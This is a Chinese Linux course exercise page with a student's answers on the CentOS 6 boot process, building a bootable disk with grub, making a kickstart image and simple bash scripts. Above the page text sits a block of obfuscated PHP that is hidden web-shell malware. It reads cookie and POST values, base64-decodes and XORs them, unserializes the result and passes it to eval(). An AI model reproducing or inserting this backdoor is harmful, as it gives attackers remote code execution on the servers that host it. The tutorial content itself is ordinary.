$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 马哥教育网络班22期+第十周课程练习 | Linux运维部落

马哥教育网络班22期+第十周课程练习

1、请详细描述CentOS系统的启动流程(详细到每个过程系统做了哪些事情)
    CentOS系统启动流程为:POST –> BootSequence(BIOS) –> BootLoader(MBR) –> Kernel(ramdisk) –> rootfs(readonly) –> /sbin/init() –> 设置默认运行级别 –> 运行系统初始化脚本,完成系统初始化 –> 关闭对应级别下需要停止的服务,启动对应级别下需要开启的服务 –> 设置登录终端[–> 启动图形终端]
        1)POST:Power On Self Test,加电自检;主要检测系统关键硬件设备是否存在物理故障
        2)BootSequence(BIOS)
            BIOS:Basic Input and Output System,基本输入与输出系统,存储于ROM中
            Boot Sequence:引导次序;根据BIOS中的设定,按次序查找各引导设备,第一个有引导程序的设备即为本次启动要用到的设备
        3)BootLoader(MBR)
            MBR:Master Boot Record,主引导记录;前446字节的扇区为bootloader(引导加载器)
            通过读取设备的MBR启动GRUB:提供一个菜单,允许用户选择要启动的系统或不同的内核版本;把用户选定的内核装载到RAM中的特定空间中,解压、展开,而后把系统控制权移交给内核
        4)Kernel(ramdisk)
            内核初始化:
                探测可识别到的所有硬件设备
                加载硬件驱动程序(有可能会借助于ramdisk加载驱动)
                以只读方式挂载根文件系统
                运行用户空间的第一个应用程序:/sbin/init
        5)设置默认运行级别(/etc/inittab)
            例如:id:3:initdefault: 设定默认运行级别为3
        6)运行系统初始化脚本,完成系统初始化(/etc/rc.d/rc.sysinit)
            设置主机名
            设置欢迎信息
            激活udev和selinux
            挂载/etc/fastab文件中定义的所有文件系统
            检测根文件系统,并以读写方式重新挂载根文件系统
            设置系统时钟
            根据/etc/sysctl.conf文件来设置内核参数
            激活lvm及软raid设备
            激活swap设备
            加载额外设备的驱动程序
            清理操作
        7)关闭对应级别下需要停止的服务,启动对应级别下需要开启的服务(/etc/inittab)
            去启动或关闭/etc/rc.d/rc#.d/目录下的服务脚本所控制的服务:
                K*:要停止的服务;K##*,##表示优先级,数字越小,越是优先关闭;依赖的服务先关闭,而后关闭被依赖的
                S*:要启动的服务;S##*,##表示优先级,数字越小,越是优先启动;被依赖的服务先启动,而依赖的服务后启动
        8)设置登录终端(/etc/inittab)
            tty1:2345:respawn:/usr/sbin/mingetty tty1
            ……
            tty6:2345:respawn:/usr/sbin/mingetty tty6

2、为运行于虚拟机上的CentOS 6添加一块新硬件,提供两个主分区;
  (1) 为硬盘新建两个主分区;并为其安装grub;
  (2) 为硬盘的第一个主分区提供内核和ramdisk文件; 为第二个分区提供rootfs;
  (3) 为rootfs提供bash、ls、cat程序及所依赖的库文件;
  (4) 为grub提供配置文件;
  (5) 将新的硬盘设置为第一启动项并能够正常启动目标主机;

在新硬盘sdb上面新增两个分区sdb1,sdb2,并格式化文件系统
~]# fdisk /dev/sdb
~]# mke2fs -t ext4 /dev/sdb1
~]# mke2fs -t ext4 /dev/sdb2
~]# mount /dev/sdb1 /test/boot
~]# mount /dev/sdb2 /test/rootfs
~]# grub-install --root-directory=/test /dev/sdb 安装grub
~]# cp /boot/vmlinuz-2.6.32-642.el6.x86_64 /boot/initramfs-2.6.32-642.el6.x86_64.img /test/boot
~]# vim /test/boot/grub/grub.conf
default=0
timeout=5
title CentOS 6 DIY
    root (hd0,0)
    kernel /vmlinuz-2.6.32-642.el6.x86_64 ro root=/dev/sdb2 selinux=0 init=/bin/bash
    initrd /initramfs-2.6.32-642.el6.x86_64.img
注意:若把sdb设备作为其它机器的第一块硬盘,root=/dev/sdb2应改为root=/dev/sda2
~]# mkdir -pv /test/rootfs/{bin,dev,etc,home,lib,lib64,media,mnt,proc,root,sbin,sys,tmp,usr,var}
~]# cp /bin/{bash,ls,cat} /test/bin
~]# cp `ldd /bin/{bash,ls,cat} | grep -Eo "/lib[^[:space:]]+"` /test/rootfs/lib64
重启系统进入BIOS修改第一启动项为此硬盘,然后保存重启主机即可

3、制作一个kickstart文件以及一个引导镜像。描述其过程。

安装system-config-kickstart程序,使用图形化界面生成kickstart文件
~]# ksvalidator ks.cfg 检查kickstart文件语法错误
~]# mount /dev/cdrom /mnt
~]# cp -r /mnt/isolinux/ /root/myboot/
~]# cp /root/ks.cfg /root/myboot/
~]# vim /root/myboot/isolinux/isolinux.cfg
label linux
  menu label ^Install or upgrade an existing system
  menu default
  kernel vmlinuz
  append initrd=initrd.img ks=cdrom:/ks.cfg 指明ks文件的位置
~]# mkisofs -R -J -T -v --no-emul-boot --boot-load-size 4 --boot-info-table -V "CentOS6" -c isolinux/boot.cat -b 
isolinux/isolinux.bin -o /root/myboot.iso myboot/ 制作简易镜像

4、写一个脚本
  (1) 能接受四个参数:start, stop, restart, status
   start: 输出“starting 脚本名 finished.”
   …
  (2) 其它任意参数,均报错退出;

#!/bin/bash
name=$(basename $0)
case $1 in
start)
    echo "starting $name finished."
    ;;
stop)
    echo "stop $name finished."
    ;;
restart)
    echo "restart $name finished."
    ;;
status)
    echo "status $name finished."
    ;;
*)
    echo "wrong, exit!"
    exit 1
    ;;
esac

5、写一个脚本,判断给定的用户是否登录了当前系统;
  (1) 如果登录了,则显示用户登录,脚本终止;
  (2) 每3秒钟,查看一次用户是否登录;

#!/bin/bash
while true;do
    if who | grep $1 &> /dev/null;then
        echo "user $1 login!"
        break
    fi
    sleep 3
done

6、写一个脚本,显示用户选定要查看的信息;
   cpu) display cpu info
   mem) display memory info
   disk) display disk info
   quit) quit
   非此四项选择,则提示错误,并要求用户重新选择,只到其给出正确的选择为止;

#!/bin/bash
cat << EOF
cpu) display cpu info
mem) display memory info
disk) display disk info
quit) quit
EOF

while true;do
    read -p "please enter one option: " option
    if [[ $option == "cpu" ]];then
        lscpu
        break
    elif [[ $option == "mem" ]];then
        free -m
        break
    elif [[ $option == "disk" ]];then
        fdisk -l /dev/[sh]d[a-z]
        break
    elif [[ $option == "quit" ]];then
        echo "quit"
        exit 1
    else
        continue
    fi
done

7、写一个脚本
  (1) 用函数实现返回一个用户的UID和SHELL;用户名通过参数传递而来;
  (2) 提示用户输入一个用户名或输入“quit”退出;
    当输入的是用户名,则调用函数显示用户信息;
    当用户输入quit,则退出脚本;进一步地:显示键入的用户相关信息后,再次提醒输出用户名或quit:

#!/bin/bash
fun_user() {
    grep "^$1" /etc/passwd | awk -F: '{printf "UID: %-5s SHELL: %s\n",$3,$7}'
}

while true;do
    read -p "enter one usrname or 'quit': " option
    if [ -z $option ];then
        continue
    elif [[ $option == "quit" ]];then
        echo "quit"
        break
    elif id $option &> /dev/null;then
        fun_user $option
        continue
    else
        echo "this user is not existed!"
        continue
    fi
done

8、写一个脚本,完成如下功能(使用函数)
   (1) 提示用户输入一个可执行命令的名字;获取此命令依赖的所有库文件;
   (2) 复制命令文件至/mnt/sysroot目录下的对应的rootfs的路径上,例如,如果复制的文件原路径是/usr/bin/useradd,则复制到/mnt/sysroot/usr/bin/目录中;
   (3) 复制此命令依赖的各库文件至/mnt/sysroot目录下的对应的rootfs的路径上;规则同上面命令相关的要求;

#!/bin/bash
copy_fun() {
    while true;do
        read -p "please input an executable command or 'quit' to exit: " option

        if [ -z "$option" ];then
            continue
        elif [ "$option" == "quit" ];then
            echo "bye!"
            break
        else
            which $option &> /dev/null
            order_state=$?                       
            if [ $order_state -eq 0 ];then
                order_path=$(which $option)
                echo
                echo "the binary file is: $order_path"
                cp --parents $order_path /mnt/sysroot
                echo "the binary file is copy finished!"
                echo
        
                ldd $order_path &> /dev/null
                ldd_state=$?
                if [ $ldd_state -eq 0 ];then
                    echo "shared library dependencies:"
                    declare -a lib_files
                    lib_files=(`ldd $order_path | grep -E -o "/[^[:space:]]+"`)
                    for i in ${!lib_files[*]};do
                        echo ${lib_files[$i]}
                        cp --parents ${lib_files[$i]} /mnt/sysroot
                    done
                    echo "shared library dependencies are copy finished!"
                else
                    echo "no shared library dependencies!"
                fi
                
                echo
                continue
            else
                echo "no this command!"
                continue
            fi
        fi
    done
}

copy_fun

原创文章,作者:萝卜,如若转载,请注明出处:http://www.178linux.com/61238

(0)
上一篇 2016-12-13 14:47
下一篇 2016-12-13 17:02

相关推荐

  • 一张图认识开源世界

    开源精神:自由,创新,团结,互助,友爱,积极,进取。在开源环境下也产生了很多优秀的软件,让我们通过一幅图认识一下开源世界里的大咖们! 看图识物     墙上挂的牛头:伟大的开源计划GNU Wiki:http://zh.wikipedia.org/zh-cn/GNU     墙上日历上的信封标志:经典的linux下的邮件…

    Linux干货 2015-03-20
  • Linux命令的使用格式及部分常用命令详述

    Linux命令的使用格式及部分常用命令详述 Linux系统中命令的使用格式 Linux中命令的使用遵循以下格式 # COMMAND OPTIONS ARGUMENTS   ###命令 选项 参数,三项之间用空格分开 执行一个命令需要指定需要内核将哪一个二进制程序运行为一个进程,C…

    Linux干货 2016-10-30
  • Linux基础知识之逻辑卷管理器(LVM)

    逻辑卷管理器(LVM)        允许对卷进行方便操作的抽象层,包括重新设定文件系统的大小     允许在多个物理设备间重新组织文件系统将设备指定为物理卷     用一个或者多个物理卷来创建一个卷组  &n…

    Linux干货 2016-09-01
  • 亿级用户下的新浪微博平台架构

    序言     新浪微博在2014年3月公布的月活跃用户(MAU)已经达到1.43亿,2014年新年第一分钟发送的微博达808298条,如此巨大的用户规模和业务量,需要高可用(HA)、高并发访问、低延时的强大后台系统支撑。 微博平台第一代架构为LAMP架构,数据库使用的是MyIsam,后台用的是php,缓存为Memcache。 随着应用规模…

    2015-03-16
  • class7 文本处理命令及文本处理工具grep

    一、文本处理命令   1、文件内容查看cat, tac,rev     cat [OPTION]… [FILE]…      正序查看文本文件          -E:  显示行结束符$ [roo…

    Linux干货 2016-08-08
  • N26 第一周博客作业

    1、描述计算机的组成及其功能。 现代的计算机大多遵循的是 冯·诺依曼 计算机体系,主要有如下几个组成部分: 运算器      :也被称为算术逻辑单元(ALU),可视为计算机的大脑,它主要进行算术运算和逻辑运算; 逻辑控制器  :则负责将计算机的其他部件联系起来,其功能是从存储设备和输入输出设备中读取指令和数据,对指令进…

    Linux干货 2017-01-08

评论列表(1条)

  • 马哥教育
    马哥教育 2016-12-23 00:37

    赞~几个脚本的例子总结的不错~~~继续加油~